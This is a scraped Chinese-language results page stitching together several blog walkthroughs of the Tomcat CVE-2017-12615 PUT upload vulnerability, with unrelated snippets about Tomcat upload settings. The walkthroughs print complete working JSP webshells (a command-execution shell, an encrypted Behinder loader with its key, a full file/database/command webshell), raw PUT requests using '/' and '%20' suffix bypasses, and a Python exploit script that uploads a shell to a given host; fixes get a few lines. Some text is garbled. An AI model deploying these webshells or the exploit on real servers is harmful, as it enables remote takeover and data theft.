精华内容
下载资源
问答
  • 在一定条件下,攻击者可以利用这个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或...

    0x01 漏洞介绍

    1. 漏洞描述
      在一定条件下,攻击者可以利用这个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

    2. 漏洞编号
      CVE-2017-12615

    3. 受影响版本
      漏洞影响全部的 Tomcat 版本:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

    0x02 环境部署:

    搭建一次,复现百次
    靶机 ip:192.168.30.209
    kali ip:192.168.30.182

    1. 在网上下载源码进行查看
      实验前必须确保readonly = false,如果是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT方法上传文件了
      在这里插入图片描述

    0x03 漏洞复现

    1. 访问主页

    http://192.168.30.209:8080
    在这里插入图片描述

    2. 漏洞测试

    在上传文件的时候需要对文件后缀名进行修改绕过

    org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
    org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
    所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
    但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。

    2.1 发现不修改后缀名上传失败
    在这里插入图片描述
    2.2 给文件后缀加一个 “ / ” ,变为 1.jsp/
    在这里插入图片描述
    访问上传的文件,验证上传成功
    在这里插入图片描述
    2.3 给文件名后加%20进行绕过,上传成功
    在这里插入图片描述
    注:使用这种绕过,在访问的时候一定要在文件名后加上%20,否则无法访问到上传的文件
    在这里插入图片描述

    3. 上传jsp木马–命令执行

    <%
    if("666".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>
    

    在这里插入图片描述

    4. 上传成功,执行命令

    在这里插入图片描述

    5. 上传jsp一句话木马

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    

    在这里插入图片描述

    6. 上传成功,冰蝎连接

    在这里插入图片描述
    拿到权限,复现成功

    0x04 漏洞修复

    1. 配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
      注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
    2. 根据官方补丁升级最新版本
    展开全文
  • • 漏洞名称:Tomcat任意文件上传漏洞 • 漏洞编号:CVE-2017-12615 • 漏洞影响:上传包含任意代码的文件,并被服务器执行。 • 影响平台:Windows • 影响版本:Apache Tomcat 7.0.0 - 7.0.81 新的改变 我们对...

    本次实验仅供学习参考,请勿非法利用。

    漏洞介绍

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

    • 漏洞名称:Tomcat任意文件上传漏洞
    • 漏洞编号:CVE-2017-12615
    • 漏洞影响:上传包含任意代码的文件,并被服务器执行。
    • 影响平台:Windows
    • 影响版本:Apache Tomcat 7.0.0 - 7.0.81

    漏洞解析

    在conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
    在这里插入图片描述
    将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。
    在这里插入图片描述

    搭建环境(如果已经有环境了可以跳过)

    本次使用到的工具:
    tomcat7.0.75
    jdk-8u181-windows-x64.exe
    BurpSuite
    Firefox
    中国菜刀或中国蚁剑
    python2.x

    1、 安装JDK安装包,右键点击jdk.exe打开,点击下一步
    在这里插入图片描述
    2、默认下一步
    在这里插入图片描述
    3、点击确定
    在这里插入图片描述
    4、这里没显示出来,点击第二个按钮 下一步
    在这里插入图片描述
    5、提示已成功安装就OK了
    在这里插入图片描述
    6、配置java环境:右键计算机属性-高级系统设置-高级-环境变量-新建
    在这里插入图片描述
    7、输入变量名:CLASSPATH 变量值:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
    然后点确定
    在这里插入图片描述
    8、再次新建-输入变量名:JAVA_HOME 变量值:C:\Program Files\Java\jdk1.8.0_181 再次点击确定
    在这里插入图片描述
    9、选中Path-点击编辑-末尾加上;%JAVA_HOME%\jre\bin 再次点击确定,点击确定应用该环境变量
    在这里插入图片描述
    10、cmd输入java –version 提示如下即为配置成功
    在这里插入图片描述
    11、部署tomcat安装包,右键解压zip压缩包到C盘下。
    在这里插入图片描述
    12、进入Tomcat目录,打开apache-tomcat-7.0.75.exe安装程序
    在这里插入图片描述
    13、点击下一步,点击I Agree
    在这里插入图片描述
    14、点击next下一步
    在这里插入图片描述
    15、输入用户名、密码 admin admin ,点击next
    在这里插入图片描述
    16、再次点击next、点击install,点击finish
    在这里插入图片描述
    在这里插入图片描述
    17、打开本地ie,输入http://127.0.0.1:8080,如果提示如下,需要手动关闭IE增强配置
    在这里插入图片描述
    18、打开开始菜单,点击管理工具-服务器管理器
    在这里插入图片描述
    19、点击配置IE ESC 选中禁用后点击确定
    在这里插入图片描述
    在这里插入图片描述
    20、打开IE,点击工具-点击Internet选项,点击安全-取消启用保护模式-点击确定
    在这里插入图片描述
    21、再次访问http://127.0.0.1:8080,显示此页面即可
    在这里插入图片描述
    22、服务搭建完成,开启HTTP PUT
    修改C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf下的web.xml文件。默认配置条件下不受此漏洞影响。所以需要修改下参数。添加readonly属性,使者readonly=false.
    在这里插入图片描述
    23、修改完成后任务管理器重启服务,或者右下角点击图标重启服务器
    在这里插入图片描述
    在这里插入图片描述

    开始任意文件上传

    1、firefox开启网络代理
    在这里插入图片描述
    2、BurpSuite开启拦截(BurpSuite使用前设置好代理端口)
    在这里插入图片描述
    3、浏览tomcat搭建的网页,打开BurpSuite可以看到拦截的数据包,右键选择发送到Repeater
    在这里插入图片描述
    4、点击重发器
    在这里插入图片描述
    5、GET请求修改为PUT,/后面加要上传文件的jsp%20 不加会被过滤掉,直接报404(%20是为了绕过过滤),在底端加代码,点击发送。代码如下:

    在这里插入图片描述

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!String Pwd = "pass";
    
        String EC(String s, String c) throws Exception {
            return s;
        }//new String(s.getBytes("ISO-8859-1"),c);}
    
        Connection GC(String s) throws Exception {
            String[] x = s.trim().split("\r\n");
            Class.forName(x[0].trim()).newInstance();
            Connection c = DriverManager.getConnection(x[1].trim());
            if (x.length > 2) {
                c.setCatalog(x[2].trim());
            }
            return c;
        }
    
        void AA(StringBuffer sb) throws Exception {
            File r[] = File.listRoots();
            for (int i = 0; i < r.length; i++) {
                sb.append(r[i].toString().substring(0, 2));
            }
        }
    
        void BB(String s, StringBuffer sb) throws Exception {
            File oF = new File(s), l[] = oF.listFiles();
            String sT, sQ, sF = "";
            java.util.Date dt;
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for (int i = 0; i < l.length; i++) {
                dt = new java.util.Date(l[i].lastModified());
                sT = fm.format(dt);
                sQ = l[i].canRead() ? "R" : "";
                sQ += l[i].canWrite() ? " W" : "";
                if (l[i].isDirectory()) {
                    sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                            + "\t" + sQ + "\n");
                } else {
                    sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                            + sQ + "\n";
                }
            }
            sb.append(sF);
        }
    
        void EE(String s) throws Exception {
            File f = new File(s);
            if (f.isDirectory()) {
                File x[] = f.listFiles();
                for (int k = 0; k < x.length; k++) {
                    if (!x[k].delete()) {
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
    
        void FF(String s, HttpServletResponse r) throws Exception {
            int n;
            byte[] b = new byte[512];
            r.reset();
            ServletOutputStream os = r.getOutputStream();
            BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
            os.write(("->" + "|").getBytes(), 0, 3);
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.write(("|" + "<-").getBytes(), 0, 3);
            os.close();
            is.close();
        }
    
        void GG(String s, String d) throws Exception {
            String h = "0123456789ABCDEF";
            int n;
            File f = new File(s);
            f.createNewFile();
            FileOutputStream os = new FileOutputStream(f);
            for (int i = 0; i < d.length(); i += 2) {
                os
                        .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                                .charAt(i + 1))));
            }
            os.close();
        }
    
        void HH(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            if (sf.isDirectory()) {
                if (!df.exists()) {
                    df.mkdir();
                }
                File z[] = sf.listFiles();
                for (int j = 0; j < z.length; j++) {
                    HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
                }
            } else {
                FileInputStream is = new FileInputStream(sf);
                FileOutputStream os = new FileOutputStream(df);
                int n;
                byte[] b = new byte[512];
                while ((n = is.read(b, 0, 512)) != -1) {
                    os.write(b, 0, n);
                }
                is.close();
                os.close();
            }
        }
    
        void II(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            sf.renameTo(df);
        }
    
        void JJ(String s) throws Exception {
            File f = new File(s);
            f.mkdir();
        }
    
        void KK(String s, String t) throws Exception {
            File f = new File(s);
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt = fm.parse(t);
            f.setLastModified(dt.getTime());
        }
    
        void LL(String s, String d) throws Exception {
            URL u = new URL(s);
            int n;
            FileOutputStream os = new FileOutputStream(d);
            HttpURLConnection h = (HttpURLConnection) u.openConnection();
            InputStream is = h.getInputStream();
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
    
        void MM(InputStream is, StringBuffer sb) throws Exception {
            String l;
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
        }
    
        void NN(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            ResultSet r = c.getMetaData().getCatalogs();
            while (r.next()) {
                sb.append(r.getString(1) + "\t");
            }
            r.close();
            c.close();
        }
    
        void OO(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            String[] t = { "TABLE" };
            ResultSet r = c.getMetaData().getTables(null, null, "%", t);
            while (r.next()) {
                sb.append(r.getString("TABLE_NAME") + "\t");
            }
            r.close();
            c.close();
        }
    
        void PP(String s, StringBuffer sb) throws Exception {
            String[] x = s.trim().split("\r\n");
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1007);
            ResultSet r = m.executeQuery("select * from " + x[3]);
            ResultSetMetaData d = r.getMetaData();
            for (int i = 1; i <= d.getColumnCount(); i++) {
                sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                        + ")\t");
            }
            r.close();
            m.close();
            c.close();
        }
    
        void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
            int i;
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1008);
            try {
                ResultSet r = m.executeQuery(q);
                ResultSetMetaData d = r.getMetaData();
                int n = d.getColumnCount();
                for (i = 1; i <= n; i++) {
                    sb.append(d.getColumnName(i) + "\t|\t");
                }
                sb.append("\r\n");
                while (r.next()) {
                    for (i = 1; i <= n; i++) {
                        sb.append(EC(r.getString(i), cs) + "\t|\t");
                    }
                    sb.append("\r\n");
                }
                r.close();
            } catch (Exception e) {
                sb.append("Result\t|\t\r\n");
                try {
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!\t|\t\r\n");
                } catch (Exception ee) {
                    sb.append(ee.toString() + "\t|\t\r\n");
                }
            }
            m.close();
            c.close();
        }%>
         
         
    <%
        String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset=" + cs);
        String Z = EC(request.getParameter(Pwd) + "", cs);
        String z1 = EC(request.getParameter("z1") + "", cs);
        String z2 = EC(request.getParameter("z2") + "", cs);
        StringBuffer sb = new StringBuffer("");
        try {
            sb.append("->" + "|");
            if (Z.equals("A")) {
                String s = new File(application.getRealPath(request
                        .getRequestURI())).getParent();
                sb.append(s + "\t");
                if (!s.substring(0, 1).equals("/")) {
                    AA(sb);
                }
            } else if (Z.equals("B")) {
                BB(z1, sb);
            } else if (Z.equals("C")) {
                String l = "";
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(new FileInputStream(new File(
                                z1))));
                while ((l = br.readLine()) != null) {
                    sb.append(l + "\r\n");
                }
                br.close();
            } else if (Z.equals("D")) {
                BufferedWriter bw = new BufferedWriter(
                        new OutputStreamWriter(new FileOutputStream(
                                new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            } else if (Z.equals("E")) {
                EE(z1);
                sb.append("1");
            } else if (Z.equals("F")) {
                FF(z1, response);
            } else if (Z.equals("G")) {
                GG(z1, z2);
                sb.append("1");
            } else if (Z.equals("H")) {
                HH(z1, z2);
                sb.append("1");
            } else if (Z.equals("I")) {
                II(z1, z2);
                sb.append("1");
            } else if (Z.equals("J")) {
                JJ(z1);
                sb.append("1");
            } else if (Z.equals("K")) {
                KK(z1, z2);
                sb.append("1");
            } else if (Z.equals("L")) {
                LL(z1, z2);
                sb.append("1");
            } else if (Z.equals("M")) {
                String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
                Process p = Runtime.getRuntime().exec(c);
                MM(p.getInputStream(), sb);
                MM(p.getErrorStream(), sb);
            } else if (Z.equals("N")) {
                NN(z1, sb);
            } else if (Z.equals("O")) {
                OO(z1, sb);
            } else if (Z.equals("P")) {
                PP(z1, sb);
            } else if (Z.equals("Q")) {
                QQ(cs, z1, z2, sb);
            }
        } catch (Exception e) {
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    %>
    
    
    

    6、关闭BurpSuite拦截,访问网址后面加/xxxxx.jsp,使用菜刀或蚁剑连接,密码是pass
    在这里插入图片描述
    在这里插入图片描述
    7、右键点击添加网址,点击文件管理,即可以控制目标服务器文件
    在这里插入图片描述
    在这里插入图片描述

    任意代码上传执行

    1、访问Tomcat网页,使用BurpSuite抓包,发送Repeater,修改GET为PUT,/后面加上vvv.jsp%20 添加下面代码后点击发送。代码如下:
    在这里插入图片描述

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    
    

    2、关闭BurpSuite拦截,浏览器访问网址/vvv.jsp
    在这里插入图片描述
    3、在浏览器地址后面加上?&pwd=023&cmd=ipconfig 查看返回效果
    在这里插入图片描述
    4、使用某大佬的python脚本,代码如下。注意使用python2.x版本执行
    在这里插入图片描述

    #! -*- coding:utf-8 -*- 
    
    import httplib
    
    import sys
    
    import time
    
    body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
    
    try:
    
        conn = httplib.HTTPConnection(sys.argv[1])
    
        conn.request(method='OPTIONS', url='/ffffzz')
    
        headers = dict(conn.getresponse().getheaders())
    
        if 'allow' in headers and \
           headers['allow'].find('PUT') > 0 :
    
            conn.close()
    
            conn = httplib.HTTPConnection(sys.argv[1])
    
            url = "/" + str(int(time.time()))+'.jsp/'
    
            #url = "/" + str(int(time.time()))+'.jsp::$DATA'
    
            conn.request( method='PUT', url= url, body=body)
    
            res = conn.getresponse()
    
            if res.status  == 201 :
    
                #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
    
                print 'shell:', 'http://' + sys.argv[1] + url[:-1]
    
            elif res.status == 204 :
    
                print 'file exists'
    
            else:
    
                print 'error'
    
            conn.close()
    
        else:
    
            print 'Server not vulnerable'
    
    except Exception,e:
    
    
        print 'Error:', e
    

    5、访问http://192.168.0.138:8080/1593330888.jsp 末尾加上?&pwd=023&cmd=ipconfig (cmd后面命令可以加其他命令如tasklist)
    在这里插入图片描述
    在这里插入图片描述

    解决方法

    临时解决:用户可以禁用PUT方法来防护此漏洞,操作方式如下:

    在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数,确保readonly参数为true(默认值),即不允许DELETE和PUT操作。

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>
    

    最佳解决方法:升级Tomcat版本

    POC

    poc链接: https://pan.baidu.com/s/1HYKnMPbNf5Gfr3KbU5sMWg. 提取码ekpk

    展开全文
  • tomcat不限制上传文件大小

    千次阅读 2018-08-30 18:25:43
    设置不限制上传大小 maxPostSize=”0” &lt;Connector port="20021" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="10023" URIEncoding=&...

    设置不限制上传大小

    maxPostSize=”0”

     <Connector port="20021" protocol="HTTP/1.1"
                   connectionTimeout="20000"
                   redirectPort="10023"
                  URIEncoding="UTF-8" maxPostSize="0"/>
    
    展开全文
  • 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全) ...

    漏洞介绍

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
    当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
    经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

    Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。所以需要修改下参数,来到Tomcat 7.0\conf下,编辑/web.xml文件,找到途中这个位置手动添加

        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
    

    在这里插入图片描述

    基本信息

    漏洞名称:Tomcat任意文件上传漏洞

    漏洞编号:CVE-2017-12615

    漏洞影响:上传包含任意代码的文件,并被服务器执行。

    影响平台:Windows

    影响版本:Apache Tomcat 7.0.0 - 7.0.81
    payload1:测试任意文件上传
    利用burpsuite 进行抓包

    http://192.168.100.23:8080/
    

    在这里插入图片描述

    发送到repeater,修改GET请求为PUT,修改名字,下面添加jsp的shell

    shell

    <%@page
    import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
    extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
    []b){return super.defineClass(b,0,b.length);}}%><%if
    (request.getMethod().equals(“POST”)){String
    k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue(“u”,k);Cipher
    c=Cipher.getInstance(“AES”);c.init(2,new
    SecretKeySpec(k.getBytes(),“AES”));new
    U(this.getClass().getClassLoader()).g(c.doFinal(new
    sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

    bp数据包,修改GET请求为PUT

    PUT /222.jsp/ HTTP/1.1 Host: 192.168.100.23:8080 User-Agent: JNTASS
    DNT:1 Connection: close Content-Length: 572

    <%@page
    import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
    extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
    []b){return super.defineClass(b,0,b.length);}}%><%if
    (request.getMethod().equals(“POST”)){String
    k=“e45e329feb5d925b”;/åÆ¥:Þ¥Æ32Mmd5<„M16M ؤޥÆrebeyond/session.putValue(“u”,k);Cipher
    c=Cipher.getInstance(“AES”);c.init(2,new
    SecretKeySpec(k.getBytes(),“AES”));new
    U(this.getClass().getClassLoader()).g(c.doFinal(new
    sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    在这里插入图片描述

    写入后看是否成功
    可以看到访问正常
    在这里插入图片描述
    冰蝎连接
    在这里插入图片描述

    方法二

    这个是大牛的python POC脚本

    #! -*- coding:utf-8 -*- 
    import httplib
    import sys
    import time
    body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
    try:
        conn = httplib.HTTPConnection(sys.argv[1])
        conn.request(method='OPTIONS', url='/ffffzz')
        headers = dict(conn.getresponse().getheaders())
        if 'allow' in headers and \
           headers['allow'].find('PUT') > 0 :
            conn.close()
            conn = httplib.HTTPConnection(sys.argv[1])
            url = "/" + str(int(time.time()))+'.jsp/'
            #url = "/" + str(int(time.time()))+'.jsp::$DATA'
            conn.request( method='PUT', url= url, body=body)
            res = conn.getresponse()
            if res.status  == 201 :
                #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
                print 'shell:', 'http://' + sys.argv[1] + url[:-1]
            elif res.status == 204 :
                print 'file exists'
            else:
                print 'error'
            conn.close()
        else:
            print 'Server not vulnerable'
            
    except Exception,e:
        print 'Error:', e
    

    运行POC脚本

    python dd.py 192.168.100.23:8080
    

    在这里插入图片描述

    直接生成一个shell文件
    进行访问,并执行命令,?&pwd=023&cmd=net user
    在这里插入图片描述
    参考文章
    https://blog.csdn.net/DarkHQ/article/details/79302051
    https://mp.weixin.qq.com/s/dgWT3Cgf1mQs-IYxeID_Mw
    https://www.cnblogs.com/deen-/p/7566024.html
    https://blog.csdn.net/qq1124794084/article/details/78044756

    展开全文
  • springboot项目上传文件是找不到零时文件夹 1、本身启动jar包时内置Tomcat没有创建零时文件夹 2、在zuul网关级别没有创建零时文件夹 处理方案:-Djava.io.tmpdir=/home/tomcat/upload/tmp eg: java -Xms1024m -...
  • 目录0x01 漏洞介绍0x02 环境部署:0x03 漏洞复现 0x01 漏洞介绍 漏洞描述 漏洞编号 受影响版本 ...从github下载tomcat8的源码,我们可以查看到tomcat的默认登录名为tomcat,并且密码也为tomcat ...发现文件上传
  • 解决tomcat中图片上传丢失问题

    万次阅读 多人点赞 2016-05-02 22:58:50
    其实我之前都知道在tomcat上传图片会丢失的问题,因为之前图片丢失对我的系统影响不是很大,基本上我的上传图片都是头像,所以丢失就丢失咯,我倒不在乎。可是今天我要做个广告配置,需要在后台配置广告信息,然后...
  • tomcat实现图片上传

    千次阅读 2020-02-04 11:31:04
    在springmvc中配置管理文件上传的解析器 在tomact中双击,add external web module… jsp页面写input file域,注意表单要有 enctype=“multipart/form-data” 在controller写具体步骤 springmvc <!-- 创建管理...
  • 当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的...
  • 本文对 HTTP 协议中的文件上传标准和 Tomcat 机制的分析内容较多,比较基础,不需要的大佬门可以直接跳到文末。 HTTP 协议中的文件上传 众所周知,HTTP 是一个文本协议,那文本协议如何传输文件呢? 直接传……...
  • 一、漏洞原理 影响范围:pache Tomcat7.0.0-7.0.81(默认配置) 如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的...此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的).
  • 最近发现在上传文件时,如果连续上传10个左右,就会出现tomcat崩溃的情况。JVM的内存我已经设置成为512M的了。现将代码分别贴出,请各位看一看:(是SSH架构的) jsp: ... .... /form> ...
  • 昨天测试上传,本地操作,上传ok,今天在测试,和正式试过了,都报错 错误提示的路径前缀也确实是不对的,后来对比了之前写的另一个接口,发现不同,才定位到这里我使用了相对路径,而服务器配置的也是相关路径...
  • HTTP 协议中的文件上传 众所周知,HTTP 是一个文本协议,那文本协议如何传输文件呢?直接传……是的就这么简单。文本协议只是在应用层的角度,到了传输层都是数据都是字节,没什么区别,并不用进行额外的编解码。 ...
  • tomcat下配置的前端工程也出现无显示数据问题。包括移动端部分数据无法显示。起初还以为是后端工程接口的问题。一个劲儿的前后端+移动端三端排查。最后发现都没有问题。 1.问题分析: 移动端部分数据和前端部分数据...
  • CVE-2017-12615Tomcat文件上传漏洞复现 漏洞描述 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者...
  • nginx+tomcat集群上传图片

    千次阅读 2018-12-05 15:21:16
    一般使用fastdfs分布式文件系统来处理(不支持window),因为部署的环境是window,所以这里对fastdfs不过多的阐述。  2.实现集群环境图片上传,我是通过nginx+ftp实现的。ftp服务器上传图片到固定位置。nginx负责...
  •  它是在传统的网页HTML页面中插入java代码段,从而形成jsp文件,后缀为.jsp。  jsp同Servlet一样,是在服务端执行,通常返回给客户端的是一个HTML文件。  这种动态网页技术,主要目的是将逻辑从Servlet中分离,...
  • 利用tomcat+web项目实现上传图片

    千次阅读 2019-03-15 15:40:29
    // 得到上传文件的保存目录,将上传文件存放在WEB-INF目录下,不允许外界直接访问,保证上传文件的安全 String savePath = this.getServletContext().getRealPath("WEB-INF/upload"); File saveFileDir = new ...
  • Tomcat8 - 弱口令与后台上传getshell的漏洞复现 漏洞形成原因 Tomcat manager 登录界面存在弱口令漏洞(tomcat,tomcat),登录成功后有上传点, 压缩包 xxx.wa r的.war不会被解析,直接访问 xxx/里面的一句话路径,...
  • Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。 Tomcat和Nginx,APached等Web服务器一样,具有...
  • tomcat

    2021-01-04 23:59:50
    文章目录TomcatJVM介绍Tomcat介绍Tomcat快速安装Tomcat启动加速Tomcat目录结构介绍Tomcat配置文件Tomcat部署zrlogTomcat配置basic认证Nginx+Tomcat集群架构Tomcat+NFS文件共享Nginx配置缓存Nginx配置HttpsMaven编译...
  • Tomcat

    2020-05-27 21:52:04
    找到需要用的Tomcat解压使用 目录 bin 专门存放tocat服务器可执行文件 conf 专门存放tocat服务器配置文件 lib 专门存放tocat服务器的java包 logs 日记信息 temp 临时数据 webapps 用于部署工程 work 用来存放源码和...
  • 在实际项目中,我们很多时候需要把图片保存起来,方式...今天我要总结的东西是如何将文件上传到自己的服务器并且访问。 当我们安装好Tomcat和Nginx的时候,在其安装目录下面都会有一个根目录,Tomcat的根目录是/var...
  • 使用nginx搭建集群tomcat8,redis实现session共享,文件共享问题 大家好,我是Andy,那个永远积极向上且自恋的Andy tomcat及工程准备 在Linux部署工程,参考我上一篇博客 —— [ Linux下使用tomcat部署工程 ]...
  • nginx优化+tomcat优化

    2019-11-03 12:56:01
